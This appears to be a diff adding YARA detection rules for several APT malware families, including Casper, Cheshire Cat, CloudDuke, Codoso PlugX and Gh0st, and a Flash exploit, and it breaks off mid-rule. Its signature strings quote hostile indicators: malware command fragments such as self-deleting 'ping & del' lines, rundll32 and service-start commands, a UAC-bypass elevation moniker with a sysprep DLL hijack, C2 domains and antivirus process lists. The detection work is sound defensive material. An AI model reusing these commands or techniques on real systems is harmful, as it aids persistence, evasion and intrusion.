+rule Casper_Included_Strings {
+	meta:
+		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 50
+	strings:
+		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
+		$a1 = "& SYSTEMINFO) ELSE EXIT"
+		
+		$mz = { 4d 5a }
+		$c1 = "domcommon.exe" wide fullword							// File Name
+		$c2 = "jpic.gov.sy" fullword 								// C2 Server
+		$c3 = "aiomgr.exe" wide fullword							// File Name
+		$c4 = "perfaudio.dat" fullword								// Temp File Name
+		$c5 = "Casper_DLL.dll" fullword								// Name 
+		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 } 	// Decryption Key
+		$c7 = "{4216567A-4512-9825-7745F856}" fullword 				// Mutex
+	condition:
+		all of ($a*) or
+		( $mz at 0 ) and ( 1 of ($c*) )
+}
+
+rule Casper_SystemInformation_Output {
+	meta:
+		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 70	
+	strings:
+		$a0 = "***** SYSTEM INFORMATION ******"
+		$a1 = "***** SECURITY INFORMATION ******"
+		$a2 = "Antivirus: "
+		$a3 = "Firewall: "
+		$a4 = "***** EXECUTION CONTEXT ******"
+		$a5 = "Identity: "
+		$a6 = "<CONFIG TIMESTAMP="
+	condition:
+		all of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-08
+	Identifier: Cheshire Cat
+	Version: 0.1 
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CheshireCat_Sample2 {
+	meta:
+		description = "Auto-generated rule - file dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		score = 70
+		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+	strings:
+		$s0 = "mpgvwr32.dll" fullword ascii
+		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
+		$s2 = "\"%s\" /e%d /p%s" fullword ascii
+		$s4 = "error in params!" fullword ascii
+		$s5 = "sscanf" fullword ascii
+		$s6 = "<>Param : 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of ($s*)
+}
+
+/* Generic Rules ----------------------------------------------------------- */
+/* Gen1 is more exact than Gen2 - until now I had no FPs with Gen2 */
+
+rule CheshireCat_Gen1 {
+	meta:
+		description = "Auto-generated rule - file ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 90
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+	strings:
+		$x1 = "CAPESPN.DLL" fullword wide
+		$x2 = "WINF.DLL" fullword wide
+		$x3 = "NCFG.DLL" fullword wide
+		$x4 = "msgrthlp.dll" fullword wide
+		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
+		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
+
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" fullword ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
+}
+
+rule CheshireCat_Gen2 {
+	meta:
+		description = "Auto-generated rule - from files 32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a, 63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 70
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+	strings:
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" fullword ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-22
+	Identifier: CloudDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CloudDuke_Malware {
+	meta:
+		description = "Detects CloudDuke Malware"
+		author = "Florian Roth"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		score = 60
+		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
+		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+	strings:
+		$s1 = "ProcDataWrap" fullword ascii
+		$s2 = "imagehlp.dll" fullword ascii
+		$s3 = "dnlibsh" fullword ascii
+		$s4 = "%ws_out%ws" fullword wide
+		$s5 = "Akernel32.dll" fullword wide
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 720KB and 4 of ($s*) and 1 of ($op*)
+}
+
+/* Inverse Rules ----------------------------------------------------------- */
+/* Warning: this rule works with the external variable 'filename' only       */
+
+rule Acrotray_Anomaly {
+	meta:
+		description = "Detects an acrotray.exe that does not contain the usual strings"
+		author = "Florian Roth"
+		score = 75
+	strings:
+		$s1 = "PDF/X-3:2002" fullword wide
+		$s2 = "AcroTray - Adobe Acrobat Distiller helper application" fullword wide
+		$s3 = "MS Sans Serif" fullword wide
+		$s4 = "COOLTYPE.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB 
+		and ( filename == "acrotray.exe" or filename == "AcroTray.exe" )
+		and not all of ($s*) 	
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule SFXRAR_Acrotray {
+	meta:
+		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
+		author = "Florian Roth"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		super_rule = 1
+		score = 70
+		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
+		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
+		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
+	strings:
+		$s1 = "winrarsfxmappingfile.tmp" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "acrotray.exe" fullword ascii
+		$s4 = "CryptUnprotectMemory failed" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2449KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-30
+	Identifier: Codoso
+	Comment: Reduced signature set for LOKI integration
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Codoso_PlugX_3 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
+	strings:
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "mcs.exe" fullword ascii
+		$s3 = "McAltLib.dll" fullword ascii
+		$s4 = "WinRAR self-extracting archive" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1200KB and all of them
+}
+rule Codoso_PlugX_2 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
+	strings:
+		$s1 = "%TEMP%\\HID" fullword wide
+		$s2 = "%s\\hid.dll" fullword wide
+		$s3 = "%s\\SOUNDMAN.exe" fullword wide
+		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
+		$s5 = "%s\\HID.dllx" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them ) or all of them
+}
+rule Codoso_CustomTCP_4 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
+		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
+		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
+		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
+	strings:
+		$x1 = "varus_service_x86.dll" fullword ascii
+
+		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s2 = "net start %%1" fullword ascii
+		$s3 = "ping 127.1 > nul" fullword ascii
+		$s4 = "McInitMISPAlertEx" fullword ascii
+		$s5 = "sc start %%1" fullword ascii
+		$s6 = "net stop %%1" fullword ascii
+		$s7 = "WorkerRun" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 5 of them ) or
+		( $x1 and 2 of ($s*) )
+}
+rule Codoso_CustomTCP_3 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
+	strings:
+		$s1 = "DnsApi.dll" fullword ascii
+		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
+		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
+		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
+		$s6 = "iphlpapi.dll" ascii
+		$s7 = "%systemroot%\\Web\\" ascii
+		$s8 = "Proxy-Authorization: Negotiate %s" ascii
+		$s9 = "CLSID\\{%s}\\InprocServer32" ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 5 of them ) or 7 of them
+}
+rule Codoso_CustomTCP_2 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
+	strings:
+		$s1 = "varus_service_x86.dll" fullword ascii
+		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s3 = "net start %%1" fullword ascii
+		$s4 = "ping 127.1 > nul" fullword ascii
+		$s5 = "McInitMISPAlertEx" fullword ascii
+		$s6 = "sc start %%1" fullword ascii
+		$s7 = "B_WKNDNSK^" fullword ascii
+		$s8 = "net stop %%1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 406KB and all of them
+}
+rule Codoso_PGV_PVID_6 {
+	meta:
+		description = "Detects Codoso APT PGV_PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
+	strings:
+		$s0 = "rundll32 \"%s\",%s" fullword ascii
+		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and all of them
+}
+rule Codoso_Gh0st_3 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
+	strings:
+		$x1 = "RunMeByDLL32" fullword ascii
+
+		$s1 = "svchost.dll" fullword wide
+		$s2 = "server.dll" fullword ascii
+		$s3 = "Copyright ? 2008" fullword wide
+		$s4 = "testsupdate33" fullword ascii
+		$s5 = "Device Protect Application" fullword wide
+		$s6 = "MSVCP60.DLL" fullword ascii /* Goodware String - occured 1 times */
+		$s7 = "mail-news.eicp.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 195KB and $x1 or 4 of them
+}
+rule Codoso_Gh0st_2 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+	strings:
+		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$s14 = "%s -r debug 1" fullword ascii
+		$s15 = "\\\\.\\keymmdrv1" fullword ascii
+		$s17 = "RunMeByDLL32" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 1 of them
+}
+rule Codoso_CustomTCP {
+	meta:
+		description = "Codoso CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
+	strings:
+		$s4 = "wnyglw" fullword ascii
+		$s5 = "WorkerRun" fullword ascii
+		$s7 = "boazdcd" fullword ascii
+		$s8 = "wayflw" fullword ascii
+		$s9 = "CODETABL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 405KB and all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Codoso_PGV_PVID_5 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$s1 = "/c del %s >> NUL" fullword ascii
+		$s2 = "%s%s.manifest" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+rule Codoso_Gh0st_1 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
+		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
+	strings:
+		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$x4 = "\\\\.\\keymmdrv1" fullword ascii
+
+		$s1 = "spideragent.exe" fullword ascii
+		$s2 = "AVGIDSAgent.exe" fullword ascii
+		$s3 = "kavsvc.exe" fullword ascii
+		$s4 = "mspaint.exe" fullword ascii
+		$s5 = "kav.exe" fullword ascii
+		$s6 = "avp.exe" fullword ascii
+		$s7 = "NAV.exe" fullword ascii
+
+		$c1 = "Elevation:Administrator!new:" wide
+		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
+		$c3 = "\\sysprep\\sysprep.exe" fullword wide
+		$c4 = "\\sysprep\\CRYPTBASE.dll" fullword wide
+		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
+		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
+		$c7 = "\\sysprep" fullword wide
+		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ( 4 of ($s*) or 4 of ($c*) ) or
+		1 of ($x*) or
+		6 of ($c*)
+}
+rule Codoso_PGV_PVID_4 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$x1 = "dropper, Version 1.0" fullword wide
+		$x2 = "dropper" fullword wide
+		$x3 = "DROPPER" fullword wide
+		$x4 = "About dropper" fullword wide
+
+		$s1 = "Microsoft Windows Manager Utility" fullword wide
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" fullword ascii /* Goodware String - occured 9 times */
+		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii /* Goodware String - occured 10 times */
+		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii /* Goodware String - occured 46 times */
+		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii /* Goodware String - occured 65 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 2 of ($x*) and 2 of ($s*)
+}
+rule Codoso_PlugX_1 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
+		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
+		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
+	strings:
+		$s1 = "GETPASSWORD1" fullword ascii
+		$s2 = "NvSmartMax.dll" fullword ascii
+		$s3 = "LICENSEDLG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+rule Codoso_PGV_PVID_3 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
+		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide
+	condition:
+		$x1
+}
+rule Codoso_PGV_PVID_2 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
+		$s2 = "Help and Support" fullword ascii
+		$s3 = "netsvcs" fullword ascii
+		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii /* Goodware String - occured 4 times */
+		$s10 = "winlogon" fullword ascii /* Goodware String - occured 4 times */
+		$s11 = "System\\CurrentControlSet\\Services" fullword ascii /* Goodware String - occured 11 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+rule Codoso_PGV_PVID_1 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
+		hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
+		hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
+		hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
+		hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
+	strings:
+		$x1 = "Cookie: pgv_pvid=" ascii
+		$x2 = "DRIVERS\\ipinip.sys" fullword wide
+
+		$s1 = "TsWorkSpaces.dll" fullword ascii
+		$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+		$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
+		$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
+		$s5 = "Microsoft Chart ActiveX Control" fullword wide
+		$s6 = "MSChartCtrl.ocx" fullword wide
+		$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
+		$s8 = "WUServiceMain" fullword ascii /* Goodware String - occured 2 times */
+	condition:
+		( uint16(0) == 0x5a4d and ( 1 of ($x*) or 3 of them ) ) or
+		5 of them
+}
+/*
+	Core Impact Agent known from RocketKitten and WoolenGoldfish APT
+*/
+
+
+rule CoreImpact_sysdll_exe {
+	meta:
+		description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
+		author = "Florian Roth"
+		score = 70
+		date = "27.12.2014"
+		hash = "f89a4d4ae5cca6d69a5256c96111e707"
+	strings:
+		$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
+		
+		$x1 = "Mozilla/5.0" fullword ascii
+		$x2 = "index.php?c=%s&r=%lx&u=1&t=%s" fullword ascii
+		$x3 = "index.php?c=%s&r=%lx" fullword ascii
+		$x4 = "index.php?c=%s&r=%x" fullword ascii
+		$x5 = "127.0.0.1" fullword ascii
+		$x6 = "/info.dat" fullword ascii
+				
+		$z1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide	
+		$z2 = "Encountered error sending error message to client" fullword ascii
+		$z3 = "Encountered error building error message to client" fullword ascii
+		$z4 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$z5 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+		$z6 = "select_event_get(): fd not found" fullword ascii
+		$z7 = "Encountered error sending syscall response to client" fullword ascii
+		$z8 = "GetProcAddress() error" fullword ascii
+		$z9 = "Error entering thread lock" fullword ascii
+		$z10 = "Error exiting thread lock" fullword ascii
+		$z11 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+		$z12 = "event_add() failed for ev." fullword ascii
+		$z13 = "Uh, oh, exit() failed" fullword ascii
+		$z14 = "event_add() failed for ev." fullword ascii
+		$z15 = "event_add() failed." fullword ascii
+		$z16 = "needroot" fullword ascii
+		$z17 = "./plugins/" fullword ascii	
+	condition:
+		$s0 or 
+		all of ($x*) or 
+		8 of ($z*)
+}
+rule Flash_CVE_2015_5119_APT3 {
+    meta:
+        description = "Exploit Sample CVE-2015-5119"
+        author = "Florian Roth"
+        score = 70
+        yaraexchange = "No distribution without author's consent" 
+        date = "2015-08-01"
+    strings:
+        $s0 = "HT_exploit" fullword ascii
+        $s1 = "HT_Exploit" fullword ascii
+        $s2 = "flash_exploit_" ascii
+        $s3 = "exp1_fla/MainTimeline" ascii fullword
+        $s4 = "exp2_fla/MainTimeline" ascii fullword
+        $s5 = "_shellcode_32" fullword ascii
+        $s6 = "todo: unknown 32-bit target" fullword ascii 
+    condition:
+        uint16(0) == 0x5746 and 1 of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-25
+	Identifier: Kaspersky Report on threats involving CVE-2015-2545
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Mal_Dropper_httpEXE_from_CAB {
+	meta:
+		description = "Detects a dropper from a CAB file mentioned in the article"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 60
+		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
+	strings:
+		$s1 = "029.Hdl" fullword ascii
+		$s2 = "http.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) )
+}
+
+rule Mal_http_EXE {
+	meta:
